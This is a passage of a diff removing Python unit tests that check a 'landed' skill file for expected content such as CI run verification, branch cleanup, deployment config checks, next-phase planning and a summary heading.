- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "gh run" in content, "landed should verify CI runs"
-
- def test_landed_cleans_branches(self) -> None:
- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "git branch -d" in content, "landed should clean up branches"
-
- def test_landed_checks_deployment(self) -> None:
- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "deploy.json" in content, "landed should check deployment config"
-
- def test_landed_checks_next_phase(self) -> None:
- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "IMPLEMENTATION_PLAN" in content, "landed should check for next phase"
-
- def test_landed_produces_summary(self) -> None:
- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "# Landed" in content, "landed should produce a summary report"